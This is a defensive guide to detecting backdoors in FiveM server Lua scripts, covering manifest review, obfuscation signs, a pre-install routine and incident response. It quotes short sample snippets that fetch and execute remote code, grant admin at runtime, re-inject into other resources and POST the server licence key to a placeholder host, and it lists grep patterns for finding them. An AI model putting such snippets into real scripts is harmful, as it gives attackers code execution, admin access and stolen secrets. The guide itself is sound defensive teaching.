How to Spot a Backdoored FiveM Script
The four shapes a backdoor takes, how to read a resource before it runs, and what to do first when you find one. Ordered by what actually protects you.
6 minute read
Someone sends you a "free leaked" script. You drop it in resources, restart,
and everything works. Three weeks later a stranger has admin, your database is
gone, or your server is quietly relaying advertising to your own players.
This guide is how to look at a resource before it runs, what the patterns actually mean, and what to do when you find one.
Nothing here uploads your files. The Backdoor Scanner reads them in your browser, which is the only sane way to inspect a script you already do not trust.
Start by reading the manifest
fxmanifest.lua decides what runs. Open it first, every time.
fx_version "cerulean"game "gta5"client_scripts { "client/*.lua",}server_scripts { "server/*.lua", "config/init.lua",}
Two questions, in this order:
- Does every listed file make sense for what this resource claims to do?
A parking script with a
server_scriptcalledupdater.luadeserves a look. - Is anything loaded with a wildcard you cannot see through?
server/*.luais normal, but it also means a file added later runs with no further edit.
Then compare the manifest against the folder. A file that exists on disk and is not in the manifest is usually dead weight. A file in the manifest that you cannot find is a much worse sign.
The four shapes a backdoor takes
Almost everything malicious falls into one of four families. Knowing the family matters more than memorising strings, because the strings change and the shapes do not.
1. Code fetched at runtime and executed
The resource downloads something and runs it. Whatever you audit today, it can serve something different tomorrow.
PerformHttpRequest("https://example-cdn.tld/p.lua", function(code, body) if code == 200 then assert(load(body))() endend, "GET")
load, loadstring, RunString and assert(load(...)) turn text into running
code. Paired with an HTTP call in the same file, there is no innocent reading.
An auto-updater is the usual cover story. A legitimate updater downloads a file and asks you to restart. It does not execute what it downloaded in memory.
2. Permissions granted at runtime
The quietest family, and the one people miss, because nothing looks unusual until an account nobody created has full access.
RegisterNetEvent("core:sync", function(identifier) ExecuteCommand(("add_principal identifier.%s group.admin"):format(identifier))end)
Two things are wrong here. add_principal at runtime should never come from a
resource you did not write, and the event takes an identifier from the
client, so anyone can call it with their own.
Search any resource for add_principal, add_ace and ExecuteCommand. In a
normal gameplay script the count is zero.
3. Persistence and re-injection
The interesting part of a serious backdoor is what happens after you find it.
SaveResourceFile("chat", "fxmanifest.lua", "client_script 'x.lua'", -1)
SaveResourceFile lets a resource rewrite another resource. Delete the
malicious script and it comes back from the one that was rewritten. This is why
finding one file is not the same as being clean.
4. Secret exfiltration
The reason it was worth planting.
local key = GetConvar("sv_licenseKey", "")PerformHttpRequest("https://example-collector.tld/k", nil, "POST", key)
A resource reading sv_licenseKey, steam_webApiKey, rcon_password or your
MySQL connection string has no legitimate reason to. Neither does a Discord
webhook URL you did not add.
Obfuscation is not the crime, but it is the signal
Plenty of paid scripts are obfuscated to protect a licence, so obfuscation alone does not mean malicious. What it means is that you cannot audit it, and that is a decision you should take deliberately rather than by accident.
| What you see | What it means |
|---|---|
\x68\x74\x74\x70 repeated | hex escaped strings, hiding a URL or a name |
string.char(104, 116, 116, 112) | the same idea, decimal |
| A single line over 800 characters | minified, so nobody skims it |
_0x4f2a style names | a JavaScript obfuscator, common in NUI payloads |
LPH_NO_VIRTUALIZE, IronBrew, Luraph | a Lua obfuscator by name |
The honest rule: an obfuscated file from a paid vendor you chose is a risk you accepted. An obfuscated file inside a free leak is a risk somebody chose for you.
Hex and Base64 blobs decode in one step with the Base64, hex and URL decoder. It runs in your browser too, so you are not pasting a suspicious payload into a stranger's website.
Do this before every install
A short routine catches most of it.
- Scan the archive. Drop the
.zipstraight into the Backdoor Scanner. It reads zips without extracting them anywhere. - Read the manifest, and compare it with the folder contents.
- Grep for the four families.
load(,PerformHttpRequest,add_principal,SaveResourceFile,GetConvar. - Install on a test server first, with a throwaway licence key and a database that holds nothing.
- Watch the console on first start. Backdoors that phone home usually do it immediately, and an HTTP error at boot is a gift.
When you find one
Order matters here, and the instinct to delete the file first is wrong.
- Stop the server. Not the resource. The server.
- Rotate every secret:
sv_licenseKeyfrom the Cfx portal, your database password, your Discord webhooks, any API key in a convar. Assume everything inserver.cfgis known. The secret generator produces replacements without sending them anywhere. - Check
add_principalin your own configs and remove every identifier you do not recognise. - Audit the other resources, because of family 3. A single backdoor that
used
SaveResourceFilemeans the others need reading too. - Only then delete the resource, and restore from a backup you made before it was ever installed if you have one.
Changing your licence key without changing your database password solves nothing. Whoever had server-side code execution had your credentials too.
What this cannot tell you
Pattern matching over source text is not proof.
A careful backdoor can avoid every pattern in this guide, and clean code
sometimes matches them: a legitimate resource may well call
PerformHttpRequest, and plenty of good scripts read a convar. That is why the
scanner explains what each finding means rather than printing a verdict.
Treat a report as a list of places to look, not a judgement. The judgement stays yours, and it should.